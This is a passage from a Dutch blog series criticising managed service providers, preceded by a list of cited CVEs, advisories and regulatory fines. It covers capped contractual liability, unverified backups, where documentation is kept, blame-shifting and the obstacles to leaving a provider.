Bereikenyou are here Wanneer Het Breekt, Wie Draagt Het Werkelijk? Bronnen Opgehaald 28 augustus 2026.\nTraining en vaardigheden.\nNational Vulnerability Database — CVE-publicatietellingen per jaar, per kwartaal opgeteld: 6.595 in 2015 tegen 49.972 in 2025. De apparatuur.\nCVE-2018-0141 — hard-coded accountwachtwoord, Cisco Prime Collaboration Provisioning, maart 2018. CVE-2018-15439 — Small Business Switches, een geprivilegieerd account ingeschakeld zonder beheerders te informeren, november 2018. CVE-2023-20101 — Cisco Emergency Responder, statische root-credentials die niet veranderd of verwijderd kunnen worden, oktober 2023. Der Spiegel, 29 december 2013 — de ANT-catalogus, die onder anderen Cisco en Huawei noemt, uit de Snowden-documenten. Der Spiegel, 29 december 2013 — inside TAO: interdiction, load stations, en wat er met een omgeleide zending gebeurt. Ars Technica, 14 mei 2014 — de interne NSA-nieuwsbrief uit 2010 en foto\u0026rsquo;s van een Cisco-router die geïmplanteerd wordt, gepubliceerd in Glenn Greenwalds No Place to Hide. Cisco, 13 mei 2014 — de reactie van het bedrijf, in zijn eigen woorden. New York Attorney General, 2019 — de multistate-schikking over videobewakingssoftware verkocht aan overheidsinstanties, en het tijdschema van 2009 tot 2013. De perimeterapparatuur.\nCISA Known Exploited Vulnerabilities-catalogus — versie 2026.08.27, 1.685 entries; de per-vendor-tellingen in deze post zijn mijn eigen telling van dat bestand. CVE-2024-3400, CVE-2024-0012 — PAN-OS, GlobalProtect en de management-webinterface. CVE-2022-40684, CVE-2018-13379 — FortiOS authenticatie-omzeiling en SSL VPN path traversal. CVE-2023-20198, CVE-2025-20333, CVE-2026-20316 — Cisco IOS XE web-UI, de ASA VPN-webserver, en een hard-coded wachtwoord in Secure Firewall Management Center. CISA, Implementing Phishing-Resistant MFA — de rangschikking van MFA-vormen, sterkst naar zwakst. KrebsOnSecurity, juli 2018 — Google over 85.000+ werknemers en geen succesvolle phishing na het verplichten van fysieke security keys. Joint advisory AA23-320A — Scattered Spider, en zijn gerichtheid op gecontracteerde IT-helpdesks. Windows LAPS overview — een ander local-administratorwachtwoord per machine, geroteerd en geback-upt naar je eigen Active Directory of Entra-tenancy; gratis op elke ondersteunde versie van Windows. Wanneer het misgaat.\nICO, maart 2025 — Advanced Computer Software Group beboet met GBP 3,07 miljoen, de eerste boete van de toezichthouder tegen een gegevensverwerker. De handhavingspagina draagt het detail. ICO, oktober 2025 — Capita beboet met GBP 14 miljoen over de inbreuk van 2023: het tien-minuten-alarm, de 58-uurs-respons tegen een doel van één uur, en het onderbezette Security Operations Centre. Law Society Gazette, 28 november 2023 — ongeveer 80 overdrachtskantoren die geen transacties konden afronden nadat hun IT-provider platging. CISA en de FBI over de Kaseya VSA-aanval, juli 2021 — ransomware tegen managed service providers en hun stroomafwaartse klanten. Joint advisory AA23-025A, 25 januari 2023 — CISA, de NSA en de MS-ISAC over kwaadaardig gebruik van legitieme RMM-software. CVE-2024-1709 — ConnectWise ScreenConnect authenticatie-omzeiling, CVSS 10.0, februari 2024. CISA advisory AA25-163A, juni 2025 en CVE-2024-57727 — ransomware-actoren die stroomafwaartse klanten bereiken via ongepatchte SimpleHelp RMM. Joint advisory AA22-131A, 11 mei 2022 — de Britse, Australische, Canadese, Nieuw-Zeelandse en Amerikaanse diensten over dreigingen voor managed service providers en hun klanten. ","permalink":"https://blogs.damiendye.uk/nl/random/is-your-msp-lying-to-you-part2/","summary":"Deel 2 van 3. Wat er werkelijk gebouwd wordt zodra het papierwerk getekend is: cloud voor een bedrijf met één gebouw, de doos waar ze niet uit te praten zijn, de basis die het ding was dat je kocht, en de agent op elke machine die aan andermans console antwoordt.","title":"Wat Je MSP Voor Je Bouwde, En Wie Het Nog Meer Kan Bereiken"},{"content":" Is Your MSP Lying To You — 3 parts\nLiegt Je MSP Tegen Je Om Je Premiumproducten Te Verkopen? Wat Je MSP Voor Je Bouwde, En Wie Het Nog Meer Kan Bereiken Wanneer Het Breekt, Wie Draagt Het Werkelijk?you are here Deel een was hoe de shortlist geschreven wordt. Deel twee was wat er op de rug daarvan gebouwd werd. Dit deel is de ochtend dat het stopt met werken, en alles dat daaruit volgt.\nWie contractueel aansprakelijk is, en voor hoeveel. Wat er in de kamer gezegd wordt wanneer het antwoord niemand is. Wat een provider die het houden waard is in plaats daarvan doet. En wat er nodig is om er een te verlaten die dat niet is, wat het deel blijkt te zijn dat niemand plant tot ze het die week nodig hebben.\nWat Kocht De Premie Werkelijk Het bewijs staat in deel twee en ik loop je er niet weer doorheen. Neem als gegeven dat de dure optie geen competentie kocht, de basis niet afmaakte, en je geen doos gaf die ook maar iets moeilijker in te breken was.\nDus waar is het geld aan gehecht?\nNiet aan het silicium, dat elk jaar goedkoper wordt. Niet aan de adressen. Niet aan de engineeringuren, in een sector die zijn trainingsuitgave met bijna een derde in twee jaar sneed. De premie is gehecht aan het kanaal — een vendor groot genoeg om tiers, kortingen, deal registration en een distributeurnetwerk te draaien, wat een rij mensen betekent die allemaal betaald worden voordat iets gebouwd is, en elk van hen op je factuur.\nDat is de helft van de verkoper, en op zichzelf verklaart het niet veel. Heel wat kopers zijn volkomen capabel en tekenen toch. Dus hier is de andere helft, en het is de ongemakkelijkere.\nDe premie koopt dekking. Niet voor het bedrijf. Voor de persoon die tekent.\nHet bekende merk erin zetten is verdedigbaar op een manier die de open kiezen nooit is. Als de marktleidende firewall gehackt wordt, zo ook die van iedereen anders, en je had pech. Als het ding dat je zelf assembleerde gehackt wordt, koos je het, en je zult gevraagd worden waarom. De uitkomst voor het bedrijf is dezelfde. Het gevolg voor het individu niet, en elke koper boven een bepaalde graad begrijpt dat zonder dat iemand het hardop hoeft te zeggen.\nAls zodanig sluit de ring. De verkoper wordt meer betaald voor het aanbevelen van de dure optie. De koper is persoonlijk veiliger voor het accepteren ervan. Geen van beiden handelt op enig punt tegen zijn eigen belang — en de enige partij die de kost van die regeling draagt is het bedrijf waar ze beiden voor werken.\nDat is het antwoord op de vraag waarmee deze serie begon, en het is erger dan liegen. Een leugenaar weet wat de waarheid is. Deze regeling heeft niemand nodig die het weet. Het heeft alleen nodig dat de shortlist er hetzelfde uit blijft komen, en dat doet het.\nDe Rapporten Die Je Nooit Krijgt Elke terugkerende regel op een managed-service-factuur zou een document moeten produceren. De meeste produceren niets, en bijna niemand vraagt.\nNeem infrastructuurpatching, de regel die boven de desktopregel zit. De eerlijke manier om een fleet te updaten is een playbook — Ansible of wat dan ook — ergens bewaard waar je het kunt zien, gedraaid op een schema, output achterlatend. Vraag dus om de playbook te zien, en vraag om het runlog te zien. Op heel wat contracten bestaat geen van beide. De updates zijn handmatig wanneer ze gebeuren, ze gebeuren wanneer iemand het zich herinnert, en de regel wordt hoe dan ook elke maand gefactureerd. Wat je als automatisering verkocht werd is een notitie in een agenda.\nWat elke regel op de factuur zou moeten produceren OP DE FACTUUR HET DOCUMENT DAT HET BEWIJST WAT MEESTAL ARRIVEERT Patching De playbook, en zijn runlog bewaard waar je het kunt lezen, gedraaid op een schema Een compliance-percentage Backup Een restore-test, gedateerd wat terugkwam, op wat, hoe lang, wie het controleerde Een rapport vol groene vinkjes Monitoring De alarmen, ook naar jou gestuurd regelrecht van het systeem, op een schema, onbewerkt Een dashboard, maandelijks gecureerd Documentatie Dossiers in je eigen systemen je IPAM, je asset-database, je wiki Een export, op hun tijdschema Een backup die niemand heeft teruggezet is geen backup. Het is een hypothese over een backup. Vraag om de meest recente restore-test. Het antwoord, of de pauze ervoor, is de hele review. Elke terugkerende regel zou een document moeten achterlaten. De meeste laten een percentage, een groen vinkje, of helemaal niets achter. Dan backups. Dit is de ergste ervan, want het is de regel waar mensen het meest in geloven.\nJe krijgt een backuprapport. Groene vinkjes, klussen voltooid, bytes geschreven, alles wekelijks arriverend en niets ervan gelezen. Dat rapport is niet degene die telt. Een backup die niemand heeft teruggezet is geen backup. Het is een hypothese over een backup.\nHet document dat je wilt is een restore-test. Wat werd teruggezet, op welke hardware, hoe lang het van begin tot eind duurde, en wie de data daarna opende en bevestigde dat het de data was. Vraag om de meest recente.\nVraag dan hetzelfde nog eens over de offline kopie, want het is een aparte bewering en het heeft apart bewijs nodig. Iedereen zegt er een te houden. Vraag ze het je te tonen — de media, waar het leeft, de laatste schrijfdatum, wie de credentials heeft — en vraag wanneer er voor het laatst een restore werd uitgevoerd van die kopie in plaats van van het live-backupsysteem. Dat zijn verschillende media in verschillende formaten, en de ene testen bewijst helemaal niets over de andere. De offline kopie is degene die een slechte week overleeft, en het is degene die het minst waarschijnlijk ooit is teruggelezen. Vraag hoe vaak ze gedaan worden, en tegen welke systemen, en of iemand van jouw kant ooit het resultaat gezien heeft. Op veel contracten is het helemaal nooit gedaan, want het doen kost een dag van iemands tijd en niemand factureert ervoor.\nEr is een voorafgaande vraag aan dit alles, en het beslist of de rest iets betekent. Komen deze rapporten naar jou, of alleen naar hen?\nMeestal genereert het gereedschap ze, ze landen in de inbox van de provider, iemand leest ze als er tijd is, en je wordt verteld wanneer er een probleem is. Dat is geen verantwoording. Het is zelfbeoordeling met een factuur eraan gehecht, en het vraagt je hun woord te nemen voor precies het ding waar je ze voor betaalt.\nVraag dus om de rapporten ook naar jou te laten komen. Direct van het systeem, op een schema, in welke vorm het gereedschap ook uitspuugt — geen slide geassembleerd door de persoon die gemeten wordt, en geen groen dashboard gecureerd voor de maandvergadering. Backupsuccessen en, belangrijker, faalgevallen. De patchrun en wat het oversloeg. Alarmvolumes en responstijden tegen doel. De restore-test wanneer het gebeurt, en de uitzonderingenlijst zoals het staat.\nJe hoeft niet elk ervan te lezen. Je moet het kunnen, en zij moeten weten dat je het kunt. Dat is het hele mechanisme, en het is het verschil tussen iemand vertrouwen en in een positie zijn om te controleren.\nEn als het moeilijk blijkt, vraag waarom. Elk rapport op die lijst bestaat al en wordt al ergens heen gestuurd. Een tweede ontvanger toevoegen is een regel in een distributielijst, geen project. Terughoudendheid hier is geen technisch probleem, en het is meer waard dan het antwoord zou zijn geweest.\nEr is een grotere versie van dezelfde vraag, en het is degene die beslist of je ooit iets voor jezelf kunt controleren. Waar leeft de documentatie?\nVraag of ze je estate in jouw systemen vastleggen — je IPAM, je asset-database, je wiki — of in de hunne. De meeste zullen de hunne zeggen, en het zal als efficiëntie gepresenteerd worden. Hun gereedschap, hun sjablonen, hun proces, niets voor jou om te draaien.\nKijk naar wat die regeling doet. Het adresseringsplan, het netwerkdiagram, het assetregister, de runbooks en de licentiesleutels zijn allemaal dossiers van je bedrijf, gemaakt met je geld, die apparatuur beschrijven die je bezit. Gehouden ergens waar je ze niet kunt zien. Je kunt niet auditen wat je niet kunt lezen, dus je hebt geen manier om te weten of de documentatie overeenkomt met de estate — en documentatie drijft constant af van de werkelijkheid, wat normaal en vergeeflijk is, maar onzichtbare drift is hoe je erachter komt tijdens een incident in plaats van tijdens een review.\nDan is er wat er aan het eind gebeurt, waar de sectie over weggaan op terugkomt. Documentatie in je eigen systemen is al de jouwe, al actueel, al in een formaat dat je gebruikt. Documentatie in de hunne is een export, op hun tijdschema, in welke vorm hun gereedschap ook biedt, meestal een PDF van iets dat een database was.\nStel dus de vraag ronduit, en vraag om leestoegang vandaag in plaats van in principe. Een provider die in jouw systemen werkt heeft een beslissing genomen die hen een beetje kost en jou veel geeft, en ze zullen je dat vertellen. Een die erop staat het beeld in zijn eigen gereedschap te houden heeft de tegenovergestelde beslissing genomen, en het is de moeite waard te vragen welk deel ervan ze aantrekkelijk vonden.\nDat gat is niet academisch. Elk incident in deel twee landt erop. De Kaseya-klanten, de tachtig overdrachtskantoren, de pensioenregelingen achter Capita — voor elk van hen was de enige vraag die op de dag telde of de restore werkte. Dat is wanneer een rapport dat niemand vroeg het enige document in het gebouw wordt dat het hebben waard is.\nAls je provider geen restore-test kan produceren, koop je geen backup. Je koopt kopiëren, en je zult op de slechtste ochtend van het jaar ontdekken welk.\nNiemand Is Aansprakelijk Ergens de schuld kwijt kunnen kopen verdient meer dan de clausule die het in deel een kreeg, want verantwoording is het ding waar deze hele regeling omheen gebouwd is. Niet moreel. Contractueel.\nBegin met de service level agreement, en lees wat het werkelijk belooft. Bijna altijd is het een responstijd. Vier uur om te erkennen, acht om te komen, dat soort dingen. Reageren is volledig binnen hun controle, dus het kan veilig beloofd worden. Repareren niet, dus dat is het niet. Zoek naar een regel die ze aan een uitkomst bindt — de dienst werkt, de data komt terug, de site handelt — en op de meeste contracten is er nergens een.\nZoek dan de aansprakelijkheidslimiet. Het zal er zijn, en het is meestal de vergoedingen die je over de voorgaande twaalf maanden betaald hebt, soms minder. Dus het ergste dat hen kan overkomen is terugbetalen wat je ze al gaf. Het ergste dat jou kan overkomen is het bedrijf. Die twee getallen zitten niet in hetzelfde universum, en het gat ertussen is de werkelijke risicopositie waar je in zit.\nWat de overeenkomst belooft, en wat elke kant dreigt te verliezen Waar de overeenkomst ze werkelijk aan bindt De fout binnen vier uur erkennen Beloofd Binnen acht uur komen Beloofd De dienst werkt weer, de data komt terug, de site handelt Niet beloofd En wat elke kant op de slechtste dag verliest Zij gecapt op ongeveer twaalf maanden van de vergoedingen die je al betaalde Jij de orders, de loonlijst, de klanten, het bedrijf Reageren zit binnen hun controle, dus het wordt beloofd. Repareren niet, dus dat niet. De twee balken zijn hetzelfde contract, gezien vanaf elk eind. Herverkoop verplaatst de rest ervan stroomopwaarts. Als de hyperscaler uit is, is het de schuld van de hyperscaler. Als de firewall een tien levert, is het de schuld van de vendor. Als een getrojaniseerde installer ondertekend arriveert en als een gewone update verscheept wordt, is dat ook de vendor. Elk daarvan is waar, en niets ervan is enig nut voor jou, want je had nooit een relatie met een van die bedrijven. Je had er een met het bedrijf dat ze namens jou koos en er een korting voor nam.\nEn onder dat alles zit het stilste mechanisme van de hele boel. Je kunt niet falen om een eis te leveren die nooit opgeschreven werd. Het eisendocument dat niemand schreef in deel een is niet alleen slordigheid — het is bescherming. Geen vastgelegde eis, geen meetbare belofte. Geen meetbare belofte, geen wanprestatie. Van een ontwerp dat niemand ondertekende kan niet afgeweken worden.\nKijk naar wat er gebeurde toen verantwoording eindelijk ergens arriveerde. Capita werd beboet met £14 miljoen, en het kwam van de Information Commissioner onder gegevensbeschermingswet, over een alarm dat niemand achtenvijftig uur actioneerde. Niet van een klant, en niet onder een dienstcontract. Het geld ging naar de staat. De 6,6 miljoen mensen wiens data de deur uit ging, en de 325 pensioenregelingen die de gevolgen droegen, waren niet degenen die het aanbrachten en waren niet degenen die betaald werden.\nDus de regeling, van begin tot eind. De vendor verkoopt een product onder een licentie die geschiktheid voor iets specifieks afwijst. De provider verkoopt uren tegen een gecapte aansprakelijkheid en een responstijdbelofte. De verzekeraar prijst wat er over is. En het verlies zet zich neer op het bedrijf dat niet kan bewegen, wat de enige partij in de keten is die nooit iets kon afwijzen.\nIedereen in de keten wijst zijn deel af, en het landt allemaal op één plek Elke laag geeft het gevolg naar beneden door en houdt zijn marge De vendor Licentie wijst geschiktheid voor iets af De distributeur Verplaatst het product, neemt een schijfje De provider Uren verkocht tegen een gecapte aansprakelijkheid De verzekeraar Prijst wat er ook over is Het bedrijf dat op maandag de deuren moet openen Maakt iets, neemt mensen in dienst, kan niet snel bewegen en is de enige partij in de keten die niets kan afwijzen Elke laag hierboven is juridisch in de clear. Het verlies moet nog steeds ergens zitten. Elke laag is juridisch in de clear, en elk ervan wordt betaald voordat iets gebouwd is. Het gevolg blijft reizen tot het iemand bereikt die het niet kan doorgeven. Er zit een simpelere test in dat alles, en het heeft geen advocaat nodig.\nAls een bedrijf gelooft in wat het heeft aanbevolen, zou het bereid moeten zijn erachter te staan. Dat is wat een aanbeveling is. Je kocht de doos niet — iedereen met een website kan je een doos verkopen. Je kocht iemands oordeel dat dit de juiste doos voor je was, en ze werden voor dat oordeel betaald, en opnieuw betaald door de vendor wiens doos het bleek te zijn.\nDus wanneer het faalt en het antwoord terugkomt dat de vendor iedereen in de steek liet, kijk naar wat er zojuist gebeurde. Het deel dat je werkelijk kocht is afgewezen. Het oordeel verdampt op precies het moment dat het getest wordt, en wat er over is, is een bedrijf dat een product doorgaf en onderweg een marge nam.\nNiemand vraagt een MSP Microsoft te onderschrijven. Maar er is een breed gat tussen een hyperscaler onderschrijven en achter je eigen advies staan, en elk ander vak leeft ergens erin. Een elektricien die een groepenkast plaatst mag de fabrikant niet de schuld geven voor het gekozen te hebben. Een constructeur die een balk specificeert bezit de specificatie. Ze dragen hun oordeel, want het oordeel was de dienst.\nVraag dus wat je provider bereid is te dragen. Niet het product van de vendor — hun eigen aanbeveling. Het antwoord, of de lengte van de pauze ervoor, vertelt je wat ze er privé van vinden.\nEn Dan Is Het Jouw Schuld Het contract is de stille helft hiervan. De luide helft verschijnt op de dag dat iets werkelijk breekt, en het komt er voor de fix.\nKijk welke kant verantwoordelijkheid opreist. Naar buiten, in elke richting die beschikbaar is, en ruwweg in deze volgorde. De vendor verscheepte een slechte patch. Het circuit was dat van de carrier. Het is een bekend probleem en iedereen ziet het. Niemand had het kunnen voorzien, gezegd over een fout die lang genoeg op de exploited list stond om een baard te hebben gekregen. De vorige provider liet het zo, wat een terecht antwoord is voor zes maanden en nog steeds gegeven wordt in jaar drie. Dan raken de naar-buiten-richtingen op, en er is er een over. Je hebt de upgrade nooit goedgekeurd. Dat was buiten scope, je personeel klikte de link, en je hebt nooit een ticket aangemaakt.\nHier is het ongemakkelijke stukje. Sommige daarvan zijn waar. Een klant die dezelfde vervanging drie jaar op rij heeft afgewezen bezit die beslissing wel, en een provider die dat zegt is recht tegen je. Dus de vraag is niet of het excuus accuraat is. Het is wanneer het voor het eerst gezegd werd. Een risico dat je schriftelijk voorgelegd werd voor de storing, met wat het zou kosten om te repareren en wat het zou kosten niet te doen, is een provider die je estate managet. Dezelfde zin de week erna gestuurd is een verdediging die geassembleerd wordt. Zelfde woorden, andere datum, tegenovergestelde betekenis.\n\u0026ldquo;Je hebt nooit een ticket aangemaakt\u0026rdquo; is degene het waard om op te stoppen, want het is helemaal geen excuus. Het is het operationele model hardop gezegd. Niets is iemands klus tot je het opmerkt, wat jou de monitoring maakt, en je betaalt een maandvergoeding aan een bedrijf wiens detectielaag een klant is die opbelt. Zodra je dat antwoord één keer gehoord hebt, weet je wat de dienst is.\nEr is een actievere versie hiervan, en het werkt veel beter dan het zou moeten. Je roept een review op om te vragen waarom de laatste zes maanden gegaan zijn zoals ze gegaan zijn, en de agenda die terugkomt gaat over iets heel anders: een dringende beveiligingskwestie, een licentiedeadline die niemand had genoemd, een end-of-life-melding op een doos die al twee jaar end-of-life is en plotseling deze veertien dagen dringend is geworden. Het wordt gepresenteerd met echte bezorgdheid en een offerte eraan gehecht, en het eet het uur op. Je vertrekt met de belofte geld uit te geven, en het ding waar je de vergadering voor opriep werd helemaal nooit hardop gezegd.\nMerk op wat de gefabriceerde crisis altijd gemeen heeft. Het heeft een aankoop nodig, het heeft het dit kwartaal nodig, en het vereist dat niemand in de kamer iets toegeeft. Echte urgentie ziet er anders uit, want het komt met een identificator, een datum dat het gepubliceerd werd, de specifieke machines in je estate die het hebben, en wat ze er al aan gedaan hebben terwijl ze wachtten om het je te vertellen. De verzonnen soort arriveert als een vendordeadline en een afgerond bedrag. Vraag wanneer het voor het eerst op hun radar verscheen. Als het antwoord dezelfde week is dat je ongemakkelijke vragen begon te stellen, is dat geen toeval en was het nooit bedoeld er een te zijn.\nHoud dus je eigen dossier bij, en begin het voordat je het nodig hebt. Elke keer dat je verteld wordt dat een ding in orde is, vraag daar een e-mail over. Elke keer dat je iets afwijst, schrijf op wat je getoond werd en wat het geoffreerd werd. Het kost een minuut en het betekent dat op de dag dat het jouw schuld wordt, je om de datum kunt vragen, en het antwoord bestaat of het bestaat niet. Een bedrijf dat deze klus fatsoenlijk doet komt er hoe dan ook eerst. Ze openen met dit hebben we gemist, hier is wat we veranderen, en ze zeggen het voordat je klaar bent met vragen. Het kost hen één zin, wat precies is waarom zo weinig van hen het zullen uitgeven.\nEn wanneer je de verzonnen crisis krijgt, of de schuld op jou landt voor iets dat niemand je ooit voorlegde, zeg het in de kamer. Niet als een klacht achteraf en niet als een notitie voor het dossier. Vraag ze of ze dat professioneel vinden, of het het antwoord is dat ze zouden accepteren als het aan hen gegeven werd, en waar de integriteit erin zit. Iemand zal ongemakkelijk zijn, en dat is het hele doel van het vragen. Een bedrijf met enig zelfrespect over neemt het, zegt terecht, en komt volgende maand anders terug. Je weet binnen een minuut welke soort tegenover je zit.\nBegin dan hoe dan ook te zoeken. Die week. Eén slechte vergadering beslist het niet, maar de afleiding was nooit een slechte dag. Het was een beslissing over jou: dat managen hoe je je voelt goedkoper is dan repareren wat je kocht, en dat je het zult verdragen. Bedrijven maken die berekening niet ongedaan omdat een klant een gezicht trok. Een provider fatsoenlijk vervangen kost maanden die je nog niet begonnen bent te besteden, en de tijd om het te doen is terwijl je nog kalm genoeg bent om goed te kiezen, in plaats van in de veertien dagen na de storing die je uiteindelijk voor je beslist.\nStel Deze In De Volgende Vergadering Niets hiervan kost je iets, en je hoeft geen engineer te zijn om iets ervan te vragen.\nIk heb de vragen in een spreadsheet gezet in plaats van langs de pagina — 120 ervan over vijftien gebieden, elk met hoe een competent antwoord klinkt gezet tegen hoe een afleiding klinkt, en een kolom om vast te leggen welk je kreeg.\n\u0026#8615; Supplier questions, the long version msp-supplier-questions.xlsx · 26 kB Behandel het als een prompt-blad, geen script. Lees het door, markeer de dozijn die werkelijk je contract raken, en stel die. Niemand zit een honderd vragen in een uur uit en je zou minder leren als ze het probeerden. Stuur het van tevoren over in plaats van het in een vergadering te produceren — een provider die de klus fatsoenlijk doet zal blij zijn met de aankondiging, en hoe ze de aankondiging opnemen is zelf een antwoord.\nEén vraag daarin vraagt welke van hun aanbevelingen hen een korting, een credit, een marge of een doel van de vendor opleveren. Dat is degene die de temperatuur in een kamer verandert, en dat zou het niet moeten. Een provider met niets te verbergen beantwoordt het recht, want ze gingen hoe dan ook hetzelfde aanbevelen en zouden liever hebben dat je het wist. Kijk wat er gebeurt wanneer je het vraagt. Het antwoord telt minder dan de reactie.\nEen provider die de klus fatsoenlijk doet heeft dit alles paraat. Al, vandaag, zonder voorbereiding. De eisen opgeschreven, de opties gecalculeerd, de open source regel op de vergelijking, het adresplan dual-stacked, het remote-management-gereedschap gepatcht en de risico\u0026rsquo;s in het register waar ze horen. Vraag, en je komt binnen één vergadering te weten welke soort je betaalt.\nEn als het het vragen zelf is dat ze van streek maakt, heb je alles ontdekt wat je nodig had.\nElk Account Valt Stil Dit alles neemt aan dat je kunt vertrekken als je moet. Dat is de moeite waard te testen voordat je het nodig hebt, want vertrekken is waar een managed-service-contract ophoudt over technologie te gaan.\nNeem aan dat je het uiteindelijk nodig zult hebben. Elk van deze regelingen drijft dezelfde kant op, met wie je ook tekent. De aandacht die je kreeg terwijl ze het werk wonnen wordt dunner zodra de automatische incasso loopt, en je bezinkt in hun boeken als een maandcijfer in plaats van een estate waar iemand over nadenkt. Niemand gaat zitten en besluit te stoppen met geven om je. De beste engineer gaat waar het lawaai is, de reviews stoppen stilletjes met gebeuren, en je apparatuur zit op wat het juiste antwoord was het jaar dat je tekende terwijl de rest van het vak zonder je verder beweegt.\nBegrijp wat een stil account werkelijk is, want de frase klinkt als een compliment en is er geen. Een stil account is er een die niemand gecontroleerd heeft. De backups draaien elke nacht groen en niemand heeft er een teruggezet op een reservemachine en zien opkomen. Het failover-paar is nooit gefailoverd, want het doen betekent een storing boeken en iemand zou erbij moeten zijn. De firmware is wat geleverd werd, het certificaat is verlengd door wie het zich herinnerde, en de documentatie beschrijft een netwerk dat twee verhuizingen geleden werd afgedankt. De licentietelling is niet bekeken sinds het jaar dat je elf meer personeel had. Niets daarvan genereert een ticket, dus niets ervan bereikt iemands scherm, en het account zeilt door elke interne review omdat het enige dat gemeten wordt of je belde.\nDan kom je erachter. Niet bij een review, want die was er niet. Je komt erachter op de ochtend dat de restore nodig is, of wanneer de auditor om het diagram vraagt, of wanneer een ding dat zes jaar onaangeroerd heeft gedraaid stopt en niemand die over is in het gebouw weet wat het deed. Een stil account betaalt hetzelfde als een druk account en kost veel minder om te bedienen. Dat is het geheel van de prikkel, en het wijst weg van wie ook het deksel ooit opent.\nHet Advies Dat Hen Geld Kost Zet de test andersom, en vraag wat je werkelijk geacht wordt te kopen. Het is niet de afwezigheid van problemen. Iedereen kan afwezig zijn. Waar je voor betaalt is iemand die het bedrijf goed genoeg kent om te arriveren met dingen die je niet vroeg: een manier om de maandafsluiting te doen die ophoudt om te vallen, een licentie waar je voor betaalt en die niemand geopend heeft sinds het jaar daarvoor, een goedkopere manier om de data te houden, een plan voor de doos die iedereen stilletjes heeft afgesproken niet te herstarten. Een deel daarvan kost hen omzet om je te vertellen, wat precies is waarom het het eerlijke signaal is. Vraag jezelf wanneer je provider voor het laatst een aanbeveling voor je zette die zijn eigen factuur kleiner maakte.\nDe gangbaarste vorm die dat neemt is geen korting. Het is iemand die doorloopt wat je al draait. De meeste bedrijven zijn niet kort aan software, ze zijn kort aan wie ook ooit fatsoenlijk is gaan zitten met de software die ze hebben: de licentietier die de feature waarvoor geoffreerd wordt al bevat, de module betaald in het oorspronkelijke project en nooit uitgerold, de workflow in het financesysteem die het opnieuw intypen zou beëindigen als iemand er twee dagen aan gaf, het tweede abonnement gekocht omdat niemand de eerste leverancier vroeg of hun product dat ook deed, de rapportage die niemand ooit bouwde zodat het hele bedrijf naar een spreadsheet exporteert en het werk daar in plaats daarvan doet. Een echte provider begint in die stapel. Wat je bezit, wat het kan doen, wat het nooit zal doen, en hoeveel van het probleem weggaat als het ding waar je al voor betaalt geconfigureerd is zoals het bedoeld was, dat alles voordat iemand een prijslijst opent.\nWat je vertelt hoe ze van plan zijn aan je te verdienen, want dat werk is de ongemakkelijke soort. Het betekent andermans documentatie lezen, een systeem leren dat ze niet herverkopen en niets krijgen voor het kennen, en zitten met de mensen die het de hele dag gebruiken om te ontdekken wat er werkelijk gebeurt om vier uur op een vrijdag. Geen korting arriveert op de rug van iets ervan. Het is ook het geheel van wat je dacht te kopen. En soms is het antwoord aan het eind werkelijk een nieuw systeem, in welk geval koop het nieuwe systeem. Uitgeven is niet het probleem. De volgorde is: wat je draait, wat het nog zal doen, waar het werkelijk tekortschiet, en pas dan wat te gaan halen. Een aanbeveling die de eerste drie overslaat was nooit een beoordeling. Het was een catalogus met je naam bovenaan getypt.\nEn een provider die nooit is gaan zitten en geleerd heeft wat het bedrijf doet kan er niets van doen. Er is een verschil tussen weten dat je negentig mailboxen hebt en weten welk uur van welke dag het werkelijk pijn zou doen om het systeem te verliezen dat de orders aanneemt. De ene is inventaris, de andere is begrip, en alleen de tweede produceert advies het geld waard. Een bedrijf dat in drie jaar niets heeft voorgesteld, dat niet kan zeggen wat je verkoopt of wanneer je drukke seizoen valt, dat de lichten aanhoudt en de factuur op dezelfde dag elke maand verhoogt, is geen partner en is opgehouden te doen alsof het er een is. Het is een abonnement met een telefoonnummer erop. Geen om te houden.\nHet tegenovergestelde faalgeval verschijnt in een beter pak. Dat is de provider die helemaal nooit stil is, die elk kwartaal iets voor je heeft, en wiens antwoord op elke vraag die je ooit stelde terugkwam met een artikelnummer eraan gehecht. Het ziet eruit als aandacht. Wat advies van verkopen scheidt is niet het volume ervan, en het is ook niet hoe goed de slides zijn — het is of de aanbeveling in staat is terug te komen als laat het met rust, je hebt dit jaar niets nodig, en dat geld kun je beter besteden aan het ding in de hoek waar niemand voor gebudgetteerd heeft. Als niet één aanbeveling in de hele relatie hen ooit een verkoop heeft gekost, word je niet geadviseerd. Je wordt door een lijst gewerkt, en deel een gaat over waar die lijsten vandaan komen. Een partner praat je er soms uit iets uit te geven. Voor iedereen anders ben je een account dat koopt wat het getoond wordt, wat een melkkoe met een servicedesk eraan is, en niemand die erbij betrokken is hoeft oneerlijk te zijn opdat dat precies is wat er gebeurt.\nEen Slechte Kwijtraken Werk door wat er werkelijk moet gebeuren. De hele boel. Administratieve credentials overhandigd voor elk systeem. Documentatie die beschrijft hoe de estate gebouwd is, aangenomen dat het bestaat. Controle over de domeinnamen, en over welk account de DNS ook leeft. Private sleutels van certificaten. Abonnementen verplaatst uit de partnerovereenkomst van de provider en in een tenancy die de jouwe is. Hun agent verwijderd van elke machine, door hen. En de zittende die met zijn vervanger meewerkt, in detail, weken lang, terwijl hij niks betaald wordt om het te doen en zojuist verteld is dat hij klaar is.\nWat er bij het vertrek moet verplaatsen, en wie het houdt Gehouden door het bedrijf dat je verlaat Elke administratieve credential Documentatie, als er enige geschreven werd De domeinen, en het DNS-account Private sleutels van certificaten Licenties onder hun partnerovereenkomst Hun agent, op elke machine die je bezit En weken van de tijd van hun engineers moet verplaatsen onbetaald De jouwe, of die van je vervanger Voordat de opzegtermijn eindigt En op die dag Ze zijn zojuist verteld dat ze klaar zijn De engineer die je estate kende zit op een klus die nog betaalt De helft van wat je vraagt blijkt betaalbaar Niets ervan is sabotage Hoe slechter ze zijn geweest, hoe minder van die lijst bestaat om over te dragen. Een bedrijf dat je eisen nooit opschreef schreef het overdrachtspakket ook niet, en de rommel is de gracht. Vraag dus vandaag om het pakket, terwijl iedereen het nog met elkaar kan vinden, en controleer één pagina ervan tegen een live machine. De hele boel zit bij het bedrijf dat zojuist verteld is dat het klaar is, en niets van het verplaatsen is werk waar iemand hen voor betaalt. Nu het deel dat je het meest zou moeten baren. Hoe slechter een provider, hoe moeilijker dat vertrek wordt, want de tekortkomingen zijn dezelfde tekortkomingen. Een bedrijf dat je eisen nooit opschreef schreef het overdrachtspakket ook niet. Een bedrijf dat de credentials in een gedeelde vault hield heeft geen schone manier om ze aan iemand anders te geven. Een bedrijf zonder playbook en zonder restore-test heeft niets over te dragen dan toegang en veel geluk. De rommel is de gracht. Niemand ging zitten en 